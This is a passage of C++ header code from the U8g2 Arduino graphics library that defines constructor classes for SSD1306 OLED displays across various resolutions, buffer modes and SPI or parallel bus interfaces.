U8G2_SSD1306_2040X16_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_2040X16_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_2040X16_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_2040X16_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_2040X16_F_6800 : public U8G2 { public: U8G2_SSD1306_2040X16_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_F_8080 : public U8G2 { public: U8G2_SSD1306_2040X16_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_6800 : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_8080 : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_6800 : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_8080 : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_6800 : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_8080 : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_6800 : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_8080 : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_6800 : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_8080 : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_6800 : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_8080 : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_6800 : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_8080 : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, 